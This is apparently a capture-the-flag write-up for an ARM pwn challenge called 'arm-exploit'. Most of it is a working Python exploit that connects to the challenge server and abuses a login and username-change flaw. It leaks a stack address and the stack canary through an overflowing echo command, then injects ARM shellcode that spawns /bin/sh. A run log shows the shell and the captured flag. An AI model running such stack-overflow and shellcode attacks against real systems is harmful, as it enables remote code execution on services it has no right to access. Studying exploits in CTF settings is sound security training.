# **=== arm-exploit (Pwn: 13 solves / 856 pt) ===**
```from minipwn import *## The minipwn is downloaded from the following URL.# https://github.com/inaz2/minipwn/blob/master/minipwn.py#
#s = connect_process("./arm-exploit")s = socket.create_connection(('armexploit.acebear.site', 3001))
shellcode = '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x2f\x73\x68'
def Info():   recvuntil(s, "Your choice: ")  sendline(s, "1")
def Login(user, password):   recvuntil(s, "Your choice: ")  sendline(s, "2")  recvuntil(s, "Username: ")  sendline(s, user)  recvuntil(s, "password: ")  sendline(s, password)
def Echo():   recvuntil(s, "Your choice: ")  sendline(s, "3")
def Change(user):   recvuntil(s, "Your choice: ")  sendline(s, "4")  recvuntil(s, "New username: ")  sendline(s, user)
Login("root", "1111")Info()
Change("1"*32)   # Change root flag !Change("root")   Info()
Echo()
## Leak Stack Address#recvuntil(s, "arm-exploit:~$ ")s.send("echo "+"A"*63)r = s.recv(67)stack_leak_addr = u32(r[63:67])stack_buf_addr  = stack_leak_addr - 0x88print "stack_leak_addr =", hex(stack_leak_addr)print "stack_buf_addr  =", hex(stack_buf_addr)
## Leak Canary#recvuntil(s, "arm-exploit:~$ ")s.send("echo "+"A"*124)r = s.recv(127)canary = u32('\x00' + r[124:127])print "canary = ", hex(canary)
## Load Shellcode#buf  = "echo " + "BBB" + shellcodebuf  = buf.ljust(128, "C")buf += p32(canary) + "DDDD" + p32(stack_buf_addr) s.send(buf)
#input()recvuntil(s, "arm-exploit:~$ ")sendline(s, "exit")
interact(s)```
```root@kali:# python exploit.py stack_leak_addr = 0xf6fffb34stack_buf_addr  = 0xf6fffaaccanary =  0xa0300300BBB?p��?�?�?�R@�hF�iF                     '?��F/bin//shCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCroot@arm-exploit:~$ iduid=1000(arm_exploit) gid=1000(arm_exploit) groups=1000(arm_exploit)cd /home/arm_exploitcat flagAceBear{arm_i5_my_sad_m3m0ry}```